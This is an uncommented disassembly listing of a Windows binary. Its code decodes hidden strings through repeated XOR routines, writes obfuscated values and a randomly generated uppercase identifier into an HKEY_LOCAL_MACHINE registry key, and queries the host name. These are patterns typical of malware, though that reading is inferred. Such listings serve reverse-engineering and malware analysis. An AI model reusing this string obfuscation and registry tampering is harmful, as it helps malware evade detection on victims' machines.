lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x10]
call fcn.140058c00
jmp 0x1400c353d
movups xmmword [rsp + 0x30], xmm4
mov byte [rsp + 0x40], r12b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c34ad
movdqa xmm6, xmmword [0x140178380]
movdqa xmm5, xmmword [0x140178780]
movdqa xmm7, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c33a0
cmp r8d, 0x11
jge 0x1400c34f3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c34c0
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x30]
cmp rsi, r15
jae 0x1400c3534
lea rax, [rsi + 1]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x10]
cmp r15, 0xf
cmova rax, qword [rbp + 0x10]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c354c
lea rcx, [rbp + 0x10]
call fcn.14005fbb0
movups xmm4, xmmword [0x140174a18]
movzx r12d, byte [0x140174a28]
inc edi
cmp edi, 0x19
jge 0x1400c3560
mov r15, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
jmp 0x1400c3320
mov r9, r14
lea r8, [0x14016efb4]
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.140061790
mov r9, r14
lea r8, [0x14016efb0]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x10]
call fcn.140061790
lea r10, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r10, qword [rbp + 0x10]
movups xmm0, xmmword [str.qYECC_KrZNYI2__v7E]
movups xmmword [rsp + 0x30], xmm0
mov eax, dword [0x140175ab8]
mov dword [rsp + 0x40], eax
cmp byte [0x140175abb], 0
je 0x1400c3753
mov r8d, ebx
cmp r13d, 2
jl 0x1400c370d
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c3600
cmp r8d, 0x14
jge 0x1400c3753
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400c3720
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c3782
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x10]
call fcn.14003d640
nop
lea rcx, [rbp - 0x18]
call fcn.14003d640
movsd xmm0, qword [0x1401757f0]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1401757f8]
mov dword [rsp + 0x38], eax
cmp byte [0x1401757fb], 0
je 0x1400c3923
mov r8d, ebx
cmp r13d, 2
jl 0x1400c38dc
movdqa xmm4, xmmword [0x140178780]
movdqa xmm2, xmmword [0x140178380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
mov eax, dword [0x140178560]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401757f0]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1401783a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c38f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea rax, [rsp + 0x30]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400c3941
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x18]
call fcn.140059080
nop
mov eax, dword [str._RZQYZ8]
mov dword [rbp - 0x30], eax
movzx ecx, word [0x140175dc0]
mov word [rbp - 0x2c], cx
movzx eax, byte [0x140175dc2]
mov byte [rbp - 0x30], 0x52
xor byte [rbp - 0x2f], 0x33
xor byte [rbp - 0x2e], 0x34
xor byte [rbp - 0x2d], 0x35
xor cl, 0x36
mov byte [rbp - 0x2c], cl
xor byte [rbp - 0x2b], 0x37
xor al, 0x38
mov byte [rbp - 0x2a], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
lea rax, [rbp - 0x30]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400c39a7
mov r8, rdi
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.140059080
movups xmm0, xmmword [0x140174240]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140174250]
movsd qword [rsp + 0x40], xmm0
movzx eax, byte [0x140174258]
mov byte [rsp + 0x48], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c3b2e
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c3a21
cmp r8d, 0x19
jge 0x1400c3b73
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400c3b40
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r11d, dword [rbp - 8]
inc r11d
lea r10, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova r10, qword [rbp - 0x18]
movsd xmm0, qword [str.vVGVDHMSTR]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140174090]
mov dword [rsp + 0x38], eax
cmp byte [0x140174093], 0
je 0x1400c3d33
mov r8d, ebx
cmp r13d, 2
jl 0x1400c3ce8
movdqa xmm4, xmmword [0x140178780]
movdqa xmm2, xmmword [0x140178380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
mov eax, dword [0x140178560]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.vVGVDHMSTR]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1401783a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c3d00
mov dword [rsp + 0x28], r11d
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r11d, dword [rbp + 0x20]
inc r11d
lea r10, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r10, qword [rbp + 0x10]
movsd xmm0, qword [str.bdqSAQZ_rx]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1401741a0]
mov dword [rsp + 0x38], eax
cmp byte [0x1401741a3], 0
je 0x1400c3ee3
mov r8d, ebx
cmp r13d, 2
jl 0x1400c3ea3
movdqa xmm4, xmmword [0x140178780]
movdqa xmm2, xmmword [0x140178380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
mov eax, dword [0x140178560]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.bdqSAQZ_rx]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1401783a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c3eb0
mov dword [rsp + 0x28], r11d
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x10]
call fcn.14003d640
nop
lea rcx, [rbp - 0x18]
call fcn.14003d640
movups xmm0, xmmword [0x140175d60]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x140175d70]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x140175d80]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x140175d90]
movups xmmword [rbp + 0x40], xmm1
mov eax, dword [0x140175da0]
mov dword [rbp + 0x50], eax
movzx eax, word [0x140175da4]
mov word [rbp + 0x54], ax
movzx eax, byte [0x140175da6]
mov byte [rbp + 0x56], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c40bd
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400c3fb0
cmp r8d, 0x47
jge 0x1400c4103
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x1400c40d0
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov rdx, r14
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c4141
mov dword [rbp + 0x180], 0x270
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov rsi, rbx
mov qword [rbp + 0x70], rbx
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x78], r12
mov byte [rbp + 0x60], sil
mov edi, ebx
movzx r15d, byte [0x140174a28]
movups xmm4, xmmword [0x140174a18]
nop dword [rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c41d3
cmp edi, 0x18
je 0x1400c41d3
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x60]
call fcn.140058c00
jmp 0x1400c43bd
movups xmmword [rsp + 0x30], xmm4
mov byte [rsp + 0x40], r15b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c432d
movdqa xmm6, xmmword [0x140178380]
movdqa xmm5, xmmword [0x140178780]
movdqa xmm7, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c4220
cmp r8d, 0x11
jge 0x1400c4373
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c4340
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x30]
cmp rsi, r12
jae 0x1400c43b4
lea rax, [rsi + 1]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0x60]
cmp r12, 0xf
cmova rax, qword [rbp + 0x60]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c43cc
lea rcx, [rbp + 0x60]
call fcn.14005fbb0
movups xmm4, xmmword [0x140174a18]
movzx r15d, byte [0x140174a28]
inc edi
cmp edi, 0x19
jge 0x1400c43e0
mov r12, qword [rbp + 0x78]
mov rsi, qword [rbp + 0x70]
jmp 0x1400c41a0
mov r9, r14
lea r8, [0x14016efb4]
xor edx, edx
lea rcx, [rbp + 0x60]
call fcn.140061790
mov r9, r14
lea r8, [0x14016efb0]
mov rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.140061790
lea rsi, [rbp + 0x60]
mov rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x78]
cmp r8, 0xf
cmova rsi, rdx
lea r15, [rbp + 0x60]
cmova r15, rdx
add r15, qword [rbp + 0x70]
lea rdi, [rbp + 0x60]
cmp r8, 0xf
cmova rdi, rdx
cmp rdi, r15
je 0x1400c445c
sub rsi, rdi
movsx ecx, byte [rdi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov byte [rsi + rdi], al
inc rdi
cmp rdi, r15
jne 0x1400c4440
mov r8, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x60]
mov edi, dword [rbp + 0x70]
lea rcx, [rbp + 0x60]
mov eax, dword [str.swr7]
mov dword [rbp - 0x30], eax
movzx eax, word [0x140175228]
mov word [rbp - 0x2c], ax
cmp r8, 0xf
ja 0x1400c4480
mov rdx, rcx
mov byte [rbp - 0x30], 0x41
xor byte [rbp - 0x2f], 0x33
xor byte [rbp - 0x2e], 0x34
xor byte [rbp - 0x2d], 0x35
xor byte [rbp - 0x2c], 0x36
xor byte [rbp - 0x2b], 0x37
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdx
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c44c3
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r10, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r10, qword [rbp + 0x60]
mov rax, qword [str.dZPPY9]
mov qword [rbp - 0x30], rax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400c4633
cmp r13d, 2
jl 0x1400c45f3
movdqa xmm4, xmmword [0x140178780]
movdqa xmm2, xmmword [0x140178380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
